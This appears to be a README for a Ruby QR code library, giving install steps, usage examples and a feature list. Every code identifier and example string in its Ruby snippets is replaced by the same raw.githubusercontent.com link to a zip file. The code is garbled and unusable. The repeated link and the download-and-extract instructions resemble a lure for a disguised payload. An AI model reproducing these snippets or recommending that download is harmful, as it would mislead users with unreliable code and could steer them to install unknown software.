Welcome to the QRCode project! This Ruby library lets you easily create QR codes. You can generate them as text art for your terminal or as scalable SVG graphics for websites and printed materials.
- Operating System: Any OS that supports Ruby (Windows, macOS, Linux)
- Ruby Version: Ruby 2.5 or higher
To get started, visit the Releases page to download the QRCode library. You can choose the version that suits your needs.
Once you have downloaded the package:
- Ensure you have Ruby installed on your computer.
- Extract the contents from the downloaded file if necessary.
- Follow the instructions provided in the extracted files to install the library.
After installation, using the QRCode library is simple. Hereβs how you can generate a QR code in just a few steps:
-
Open your terminal.
-
Start a Ruby script. You can do this by creating a new file with a
.rbextension. -
Require the QRCode library. At the top of your file, include:
require 'qrcode'
-
Generate a QR code. Hereβs a basic example:
qr = https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip('Your text here') puts https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip
This will display your QR code in text format directly in the terminal.
-
For SVG output, you can do:
qr_svg = https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip('https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip', qr_svg)
This saves the generated QR code as an SVG file, which you can use on your website or print.
- Pure Ruby: No additional software is needed.
- Multiple Output Formats: Generate QR codes as text art or SVG graphics.
- Automatic Optimization: The library automatically chooses the best encoding method.
- Error Correction: Supports all four error correction levels (L, M, Q, H).
- Multi-Segment Encoding: Efficiently handles larger data.
You might want to create a QR code for a website link or a contact card. Below is an example that showcases how to generate a QR code for a URL:
qr = https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip('https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip')
https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip('https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip', https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip)This code generates a QR code for "https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip" and saves it as an SVG file.
If you encounter issues:
- Installation Problems: Ensure Ruby is installed correctly. Check your Ruby version with
ruby -v. - Code Errors: Double-check your syntax. Ruby is sensitive to typos.
- Output Issues: Verify your paths and look for any permission errors.
- Visit the QRCode Documentation for more examples and detailed guides.
- Check out the original rqrcode_core for related libraries.
- Explore QR code best practices to ensure your codes are functional and effective.
If you want to contribute to this project, feel free to fork the repository and submit pull requests. Your input can help make this library even better for everyone.